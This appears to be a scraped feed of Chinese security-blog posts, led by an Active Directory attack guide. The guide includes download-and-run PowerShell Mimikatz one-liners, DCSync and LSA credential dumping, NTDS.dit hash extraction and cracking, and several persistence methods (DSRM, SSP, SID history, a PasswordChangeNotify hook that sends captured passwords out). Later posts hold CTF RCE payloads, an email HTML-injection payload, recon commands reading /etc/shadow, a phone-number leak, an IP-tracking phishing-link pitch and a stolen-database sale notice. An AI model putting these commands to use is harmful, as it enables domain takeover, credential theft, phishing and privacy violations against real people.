Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-NinjaCopy.ps1'); Invoke-NinjaCopy -Path "C:windowsntdsntds.dit" -ComputerName "AD" -LocalDestination "C:tempntds.dit" 使用Mimikatz提取 使用Mimikatz在提取Active Directory hash mimikatz lsadump::lsa /inject exit 使用RID 502的帐户是KRBTGT帐户,使用RID 500的帐户是域的默认管理员。 获取对Active Directory数据库文件的访问权限(ntds.dit) Active Directory数据库(ntds.dit)包含有关Active Directory域中所有对象的所有信息 该文件还包含所有域用户和计算机帐户的密码哈希值。 有时候域控升级等会把ntds.dit备份文件可从共享服务器中找到可以不用直接从域控制复制 使用Mimikatz转储LSASS内存 sekurlsa::minidump c:templsass.dmp 使用任务管理器(获取域管理员凭据)转储LSASS内存 使用PowerShell Mimikatz 使用PowerShell,域必需要能上网否则这方法不可用 powershell IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject" exit' 无程获取 Powershell IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -Command ‘”privilege::debug” “LSADump:LSA /inject”‘ -Computer pentest.com Mimikatz的DCSync 使用Mimikatz的DCSync 远程转储Active Directory凭证,它有效地”模拟”域控制器并向目标域控制器请求帐户密码数据。 使用Mimikatz的DCSync和相应的权限,攻击者可以通过网络从域控制器中提取密码散列以及以前的密码散列,而无需交互式登录或复制Active Directory数据库文件(ntds.dit) 运行DCSync需要特殊权限。管理员,域管理员或企业管理员以及域控制器计算机帐户的任何成员都能够运行DCSync来提取密码数据。请注意,只读域控制器不仅可以默认为用户提取密码数据。 提取 KRBTGT用户帐户的密码数据: Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:krbtgt"exit 管理员用户帐户提取密码数据: Mimikatz "privilege::debug" "lsadump::dcsync /domain:rd.adsecurity.org /user:Administrator" exit NTDS.dit中提取哈希 从NTDS.dit中提取哈希,提取出来的文件通过ntdsdump是无法提取的通过esedbexport来恢复。 安装: wget https://github.com/libyal/libesedb/releases/download/20170121/libesedb-experimental-20170121.tar.gz`apt-get install autoconf automake autopoint libtool pkg-config./configuremakemake installldconfigesedbexport -m tables ntds.dit 大概需要(20-30分钟) 最后生成在./ntds.dit.export/ 使用ntdsxtract提取域信息 git clone https://github.com/csababarta/ntdsxtract.gitpython setup.py build && python setup.py install 提取hash: (这里需要将刚拷出来的三个文件中的system复制到当前目录下) $ dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout |tee all_user_info.txt 这样提取出来之后已经是转换成hashcat可破解的格式 hashcat -m 1000 ntout ./password.txt AD持久化 活动目录持久性技巧 https://adsecurity.org/?p=1929DS恢复模式密码维护https://blogs.technet.microsoft.com/askds/2009/03/11/ds-restore-mode-password-maintenance/ DSRM密码同步 DSRM密码同步将域控权限持久化,获取到域控权限后如何利用DSRM密码同步将域管权限持久化。 Windows Server 2008 需要安装KB961320补丁才支持DSRM密码同步,Windows Server 2003不支持DSRM密码同步。 KB961320 https://support.microsoft.com/en-us/help/961320/a-feature-is-available-for-windows-server-2008-that-lets-you-synchroni 巧用DSRM密码同步将域控权限持久化 http://drops.xmd5.com/static/drops/tips-9297.html 同步之后使用法国佬神器(mimikatz)查看krbtgt用户和SAM中Administrator的NTLM值。 可以看到两个账户的NTLM值相同,说明确实同步成功 修改注册表允许DSRM账户远程访问 修改注册表 hkey_local_machineSystemCurrentControlSetControlLsa 路径下的 DSRMAdminLogonBehavior 的值为2。 系统默认不存在DSRMAdminLogonBehavior,请手动添加。 使用HASH远程登录域控 DSRM账户是域控的本地管理员账户,并非域的管理员帐户。所以DSRM密码同步之后并不会影响域的管理员帐户。 事件查看器的安全事件中筛选事件ID为4794的事件日志,来判断域管是否经常进行DSRM密码同步操作。 缓解措施 对于这个问题的唯一有效的缓解措施就是确保每一台域控制器的DSRM账户密码是唯一的并且定期修改此密码。同时,确保注册表DsrmAdminLogonBehavior的值不为2,最好将其直接删除或者设置其值为1或0。 Security Support Providerhttps://adsecurity.org/?p=1760http://www.evil0x.com/posts/11354.html 直译为安全支持提供者 又名Security Package. 简单的理解为SSP就是一个DLL,用来实现身份认证 将mimilib.dll复制到域控c:/windows/system32下 设置SSP 修改域控注册表位置: HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/ Memory Updating of SSPs privilege::debug misc::memssp 这样就不需要重启 c:/windows/system32可看到新生成的文件kiwissp.log 如果不是在域环境下生成的文件会在 system32mimilsa.log 防: 检测注册表位置: HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa/Security Packages/ 检测%windir%/System32是否有可疑dll SID历史 https://adsecurity.org/?p=1772 SID历史记录允许另一个帐户的访问被有效地克隆到另一个帐户 mimikatz "privilege::debug" "misc::addsid bobafett ADSAdministrator" AdminSDHolder&SDProp 利用AdminSDHolder&SDProp(重新)获取域管理权限 https://adsecurity.org/?p=1906 AdminSDHolder是位于Active Directory中的系统分区 组策略 https://adsecurity.org/?p=2716 策略对象在持久化及横向渗透中的应用https://www.anquanke.com/post/id/86531 组策略概述 组策略使管理员能够管理Active Directory中的计算机和用户。组策略保存为组策略对象(GPO) 攻击者可以滥用GPO,通过欺诈方式进一步自动化地传播恶意软件、实现持久化驻留目的 恶意软件可以利用GPO穿越IDS/IPS等防火墙,最终访问到域内所有的系统。 GPO的另一优点就是攻击过程期间并不需要目标系统在线,一旦离线状态下的目标系统重新登录到域中,恶意的GPO载荷就会被投递到目标系统。 组策略默认情况下每90分钟(域控制器5分钟)可包括安全选项,注册表项,软件安装以及启动和关闭脚本以及域成员刷新组策略设置。这意味着组策略在目标计算机上执行配置的设置。 SYSVOL是所有经过身份验证的用户具有读取权限的Active Directory中的域范围共享。SYSVOL包含登录脚本,组策略数据以及其他域控制器中需要使用的全域数据。 SYSVOL共享将自动同步并在所有域控制器之间共享。 其实我认为组策略也相当于远控,可以把配置脚本让域内的每一台电脑都种上马批量执行一遍。 或者每周在所有域上运行Mimikatz获取明文密码,以及获取某种类型文件这要通过编写脚本实现。 远程搜索某个本地文件(如proof.txt) Get-Content <list of IPs> | ForEach-Object {Getwmiobject CIM_DataFile -filter »Drive=’c:’ AND Filename=’proof’ AND extension=’txt’ -Impersonate 3 -computername $_ | Select PSComputername, Name -Unique} 一篇文章精通PowerShell Empire 2.3(上)https://www.anquanke.com/post/id/87328 防: 定期审核GPO。 为GPO使用定义清晰的命名约定 记录GPO的创建动作 Hook PasswordChangeNotify 在修改域控密码时会进行如下同步操作: a. 当修改域控密码时,LSA首先调用PasswordFileter来判断新密码是否符合密码复杂度要求 b. 如果符合,LSA接着调用PasswordChangeNotify在系统上同步更新密码 函数PasswordChangeNotify存在于rassfm.dll poc下载地址: https://github.com/clymb3r/Misc-Windows-Hacking 使用VS2015开发环境,MFC设置为在静态库中使用MFC 编译工程,生成HookPasswordChange.dll 下载Powershell的dll注入脚本 https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 在代码尾部添加如下代码: Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll –procname lsass 并命名为HookPasswordChangeNotify.ps1 上传HookPasswordChangeNotify.ps1和HookPasswordChange.dll 管理员权限执行: PowerShell.exe -ExecutionPolicy Bypass -File HookPasswordChangeNotify.ps1 将获取到的密码上传到http服务器: http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html 一如既往的学习,一如既往的整理,一如即往的分享。感谢支持 ...
-
网络安全与渗透测试工具集合
可能是总结的最全的开源渗透工具! 目录 入门指南 在线靶场 文件上传漏洞靶场 导航 payload 子域名枚举 自动爬虫实现的子域名收集工具 waf开源及规则 web应用扫描工具 webshell检测以及病毒分析 DDos防护 Android系列工具 XSS扫描 代码审计 端口扫描、指纹识别以及中间件扫描 高级持续性威胁(APT)相关工具 工控系统及大型网络相关安全工 模块化扫描、综合扫描器 内网安全渗透测试工具集 企业网络自检 弱口令或信息泄漏扫描 社工库 数据库防火墙 数据库扫描及注入 无线网络渗透审计 物联网设备扫描 针对性漏洞测试工具 LICENSE 入门指南 Web Hacking 101 中文版:https://wizardforcel.gitbooks.io/web-hacking-101/content/ 浅入浅出Android安全 中文版:https://wizardforcel.gitbooks.io/asani/content/ Android 渗透测试学习手册 中文版:https://wizardforcel.gitbooks.io/lpad/content/ Kali Linux Web渗透测试秘籍 中文版:https://wizardforcel.gitbooks.io/kali-linux-web-pentest-cookbook/content/ Linux exploit 开发入门:https://github.com/hardenedlinux/linux-exploit-development-tutorial burpsuite实战指南:https://www.gitbook.com/book/t0data/burpsuite/details 渗透测试Node.js应用:http://www.kanxue.com/?article-read-1108.htm=&winzoom=1 Web安全资料和资源列表:https://github.com/qazbnm456/awesome-web-security 安全维基百科:https://sec-wiki.com/sec-wiki 安全漏洞信息(精):https://ninjia.gitbook.io/secskill/Web 安全学习笔记(精):https://websec.readthedocs.io/zh/latest/ 黑客清单:https://github.com/sunnyelf/awesome-hacking 思维导图: https://github.com/phith0n/Mind-Map 思维导图:https://github.com/SecWiki/sec-chart 渗透超全面的渗透资料 ...
-
CTF|无参数RCE
在CTF竞赛过程中,我们时常会遇到一种类型的题,那就是无参数命令执行。接下来通过例题的形式针对无参数命令执行常见技巧和利用方式进行了总结。 01 示例一 <?php include"flag.php"; echo"flag在哪里呢?<br>"; if(isset($_GET['exp'])){ if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) { if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) { if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) { @.eval($_GET['exp']); } else{ die("还差一点哦!"); } } else{ die("再好好想想!"); } } else{ die("还想读flag,臭弟弟!"); } }// highlight_file(__FILE__);?> 02 源码分析 利用GET方式传入exp参数; 代码中过滤了data/filter/php/phar伪协议,不能以伪协议形式直接读取文件; (?R)引用当前表达式,后面加了?递归调用。只允许执行类似a(b(c()))格式的无参数函数; 正则匹配还过滤了et/na/info等关键字,导致get()、phpinfo()等函数不能使用; eval($_GET[‘exp’]); 将输入的参数以php代码执行; 03 解题过程 查看当前目录下的文件,此处利用scandir()实现:print_r(scandir('.')); #表示获取当前目录下的文件; print_r(scandir('../')); #表示获取上一级目录下的文件; 于是,可以利用该函数,查看目标系统目录,寻找包含flag的文件位置。由于正则表达式限制,不能再scandir('.')函数中加入参数。故此处使用current(localeconv())表示“.”。其中localeconv()函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是"."。current() 返回数组中的当前单元, 默认取第一个值。 http://127.0.0.1/ctf/web/web-5/index.php?exp=print_r(scandir(pos(localeconv()))); http://127.0.0.1/ctf/web/web-5/index.php?exp=print_r(scandir(current(localeconv()))); 接下来就要考虑如何读取flag,读取文件内容我们可以想到的函数有: file_get_contents() #把整个文件读入一个字符串中;file #把整个文件读入一个数组中;readfile() #读入一个文件并写入到输出缓冲;highlight_file() #对文件进行语法高亮显示;show_source() #对文件进行语法高亮显示; 刚刚列举的几个函数,都需要将要读取的文件作为参数进行读取操作,由于题中代码用正则表达式限制,不能接收参数,该如何将文件名写道函数里面,然后读取文件内容呢? 利用array_flip()函数将读取当前目录的键和值进行反转,然后读取其中的值即可获得flag.php; 其中的键可以利用随机数函数array_rand(),进行随机生成; http://127.0.0.1/ctf/web/web-5/index.php?exp=pprint_r(array_rand(array_flip(scandir(pos(localeconv()))))); 由上图可以看出,通过array_rand()能够随机出flag.php文件,然后利用readfile()函数,读取该文件: http://127.0.0.1/ctf/web/web-5/index.php?exp=readfile(array_rand(array_flip(scandir(pos(localeconv()))))); ...
-
微博|每日晒图第六届视角大赛开始
围观地址:https://weibo.com/6584869435/Jv7JTcfyI...
-
利用电子邮件中的HTML注入
HTMLi是一个在呈现HTML代码的任何应用程序中可利用的漏洞。电子邮件是其中之一。 本文的其余部分说明了如何通过目标上的注释通知功能将HTML注入电子邮件中。 Part 01 记得这里未讨论的HTML注入吗? 因此,在通知电子邮件中反映了comment和presentationTitle参数的值。 最初看起来如下: {"type":"SlideComment","recipients":[],"teamAlias":"EEqSBdu9z49","data":{"comment":"This is Redacted","commenterId":"01234567","commenterProfileImage":"","presentationUUID":"x14r5K1tFnH","presentationTitle":"Welcome to Redacted Copy www.footstep.ninja","slideLocalId":"5p3nrib"}} 然后,在为参数注入presentationTitleHTML属性后,它看起来如下所示: {"type":"SlideComment","recipients":[],"teamAlias":"EEqSBdu9z49","data":{"comment":"Comments are great!","commenterId":"01234567","commenterProfileImage":"","presentationUUID":"x14r5K1tFnH","presentationTitle":"Welcome to Redacted\" <br/><br/> <div style='color:#1a3a69;line-height:1.5em;font-size:18px;text-align:center'>This is a test comment</div><br/> <a style='background-color:#f68270;border:1px solid #333333;border-color:#f68270;border-radius:6px;border-width:1px;color:#ffffff;display:inline-block;font-family:arial,helvetica,sans-serif;font-size:16px;font-weight:bold;letter-spacing:0px;line-height:16px;padding:12px 18px 12px 18px;text-align:center;text-decoration:none' href='https://footstep.ninja' target='_blank' data-saferedirecturl='https://footstep.ninja'>View Deck</a> <!-- Copy https://www.footstep.ninja","slideLocalId":"5p3nrib"}} Part 02 自然通知如下所示: Part 03 看起来像这样; 通过查看原始消息,我得到了确切的HTML:单击省略号,然后单击“显示原始” ...
-
IP地址精准查询
很多时候我们需要定位IP所在的物理位置,而这个工具可以直接到你家门口。 当前互联网的基石便是TCP/IP协议,而虚拟中的IP地址和现实中的地址往往难以对应,而这个站点,不但提供了IP地址所在的真实地址位置,还对该IP是否为真人用户使用的做出了猜测和标注,为IP的溯源和价值提供了参考依据。 关于IP定位,最早是通过运营商实现,每个运营商申请到的ip段,在某个范围内使用。因此早期只能是国家为单位的基础数据。对于比较大的国家,就进一步划分,比如,中国某通讯公司(不打广告),固定将某些ip分配某些机房使用,而这些机房则具备地域属性,因此就可以知道某些ip的位置是哪个省市区。再进一步,网上有种测算路由的方式进行定位,就是由大范围逐个跳转,跟踪路由。从而对比找出ip所在的小范围。 如今,网络铺设已经有个相当多的特性,比如: A.国内的某大运营商,ip资源够用,直接给用户分配公网ip。我以前就在这种网络下用动态域名工具玩过网站。 B.部分运营上为了缓解ip资源不足问题,某个大范围使用代理转发方式,给到用户的是私网ip,用户最终用代理的ip池的ip访问公网。 C.电话运营商,ip资源利用率过低,几乎是一个省份用一个ip池进行代理给用户的手机网络上网 随着大数据发展,有些公司做了大数据匿名收集数据,数据实时分析。因此可以将手机收集到的精准GPS数据和当前所用IP数据成对上报给后端服务器,运算过之后,就可以得出某个IP的分布范围数据。 误差说明: 对于上述A的情况,精确度可以达到几十米 对于上述B的情况,可能得覆盖一个城市的范围 对于上述C的情况,往往是一个省份的误差程度 因此,对于有线宽带用户,分配了相对固定的公网IP,用户在这个线路下有放置了wifi无线路由器,wifi下有接入了手机用户,手机里运行了服务,比如地图,或者地图SDK。其定位精度就可以达到几十米范围。对于这种数据,只有bat这种大头才能实现的了这个规模的数据手机,因此准确度几乎无法被超越,更大的互联网公司除外。 关于精准度问题,和其他家相比最大的优势就是钓鱼链接,使用钓鱼链接定位的位置可以直接到你家楼下,精度很高。如果对方刚刚重新获取公网IP,那可能精准度稍差,但这种情况并不是很常见。 钓鱼链接用起来也很简单,通过IM、邮箱等方式发送过去,对方一打开你提供的链接,你就能获取到对方的IP地址,还有相当详细的定位信息。使用生成Key功能,输入一个自己想要使用的Key,然后将生成的链接发送过去,就可以等着查看了。 需要的小伙伴在交流群内回复IP精准查询获取地址 ...
-
某信息平台敏感信息泄露
01 漏洞标题 某信息平台敏感信息泄露 02 漏洞类型 信息泄露 03 漏洞等级 高危 04 漏洞地址 http://www.xxxxx.org.cn/ 05 漏洞详情 信息平台敏感信息泄露,可以直接获取所有高级专家的所有手机号。 专家库具体某一专家信息查看,可以在URL处直接看到手机号。 0x01 访问 http://www.xxxx.org.cn/ExpertView.aspx?id=3&username=13926041501 0x02 批量可以看到每条信息都携带了用户的详细手机号信息。 http://www.xxxx.org.cn/ExpertsList.aspx 涉及到的专家信息共有700多条信息,包含完整的姓名和手机号。 06 漏洞危害 此处可以批量获取到的专家信息共有700多条信息,包含完整的姓名和手机号工作地点,被攻击者获取后可以定点钓鱼等,存在极大的安全风险。 07 建议措施 敏感信息做脱敏处理,不反回手机号等敏感信息。 PS:本文仅用于技术讨论与分析,严禁用于任何非法用途,违者后果自负。 ...
-
如何进行内网信息收集
渗透测试的本质是信息收集,我们可以将内网信息收集大致分为5个步骤,即本机信息收集、域内信息收集、登录凭证窃取、存活主机探测、内网端口扫描。 最常见的两个问题就是: 我是谁?-- whoami我在哪?-- ipconfig/ifconfig 当获取一台主机的管理员权限的时候,我们总是迫不及待想要去深入了解一下。 本机信息收集 1.查询账户信息: 对当前主机的用户角色和用户权限做了解,判断是否需要进一步提升权限。 win:whoami、net user 用户名linux:whoami、id、cat /etc/shadow、cat /etc/passwd 2.查询网络和端口信息 根据目的主机的IP地址/网络连接/相关网络地址,确认所连接的网络情况。 win:ipconfig、netstat -ano ARP表:arp -a 路由表: route print 查看dns缓存记录命令:ipconfig/displaydns linux:ifconfig、netstat -anplt ARP表:arp -a / 路由表:route -n 查看登录日志获取登录来源ip 3.查询进程列表 查看本地运行的所有进程,确认本地软件运行情况,重点可以关注安全软件。 win:tasklist linux: ps、 top 4.查询系统和补丁信息 获取当前主机的系统版本和补丁更新情况,可用来辅助提升权限。 win:systeminfo,查询系统信息/补丁安装情况。 wmic qfe get Caption,description,HotfixID,installedOn //查询补丁信息,包含说明链接/补丁描述/KB编号/更新时间等信息 wmic qfe list full 查询全部信息 Linux: 通过查看内核版本 uname -a 或者使用rpm -qa来查询安装了哪些软件包 5.凭证收集 服务器端存有敏感信息,通过收集各种登录凭证以便扩大战果。 Windows:本地密码Hash和明文密码/抓取浏览器密码/服务端明文密码linux:history记录敏感操作/shadow文件破解/mimipenguin抓取密码/使用Strace收集登录凭证/全盘搜索敏感信息 域内信息收集 搜集完本机相关信息后,就需要判断当前主机是否在域内,如果在域内,就需要进一步收集域内信息 1.判断是否有域 一般域服务器都会同时作为时间服务器,所以使用下面命令判断主域 运行 net time /domain 该命令后,一般会有如下三种情况: 1.存在域,但当前用户不是域用户,提示说明权限不够 C:\Users>bypass>net time /domain 发生系统错误 5 拒绝访问。 2.存在域,并且当前用户是域用户 C:\Users\Administrator>net time /domain \\dc.test.com 的当前时间是 2020/10/23 21:18:37 命令成功完成。 3.当前网络环境为工作组,不存在域 C:\Users\Administrator>net time /domain 找不到域 WORKGROUP 的域控制器。 2.查找域管理员 net user /domain //获取域用户列表net group /domain //查询域内所有用户组列表net group “Domain Admins” /domain //查询域管理员用户net group "Domain Controllers" /domain //查看域控制器net localgroup administrators /domain //查询域内置本地管理员组用户 3.找到域控 一般来说,域控服务器IP地址为DNS服务器地址,找到DNS服务器地址就可以定位域控。 nslookup/ping 域名,解析到域控服务器IP地址 ...
-
暗网在出售最新的华住数据库
最近在暗网监测到有人在卖华住的数据库,出售者说数据是当年的一手数据,只卖过一个人,并且还附上了测试数据链接。 如果数据真实,极有可能是2018年8月份的那次,当时的数据囊括华住旗下汉庭、美爵、禧玥、漫心、诺富特、美居、CitiGo、桔子、全季、星程、宜必思、怡莱、海友等酒店。泄露的信息包括华住官网注册资料、酒店入住登记的身份信息及酒店开房记录,住客姓名、手机号、邮箱、身份证号、登录账号密码等。 这次数据表示全部资料共53G,1.23亿左右条记录。如果这份数据属实,并且被购买传播出去,又是一场风波了。下载地址是有的,但是不方便公布,请多包含啦!...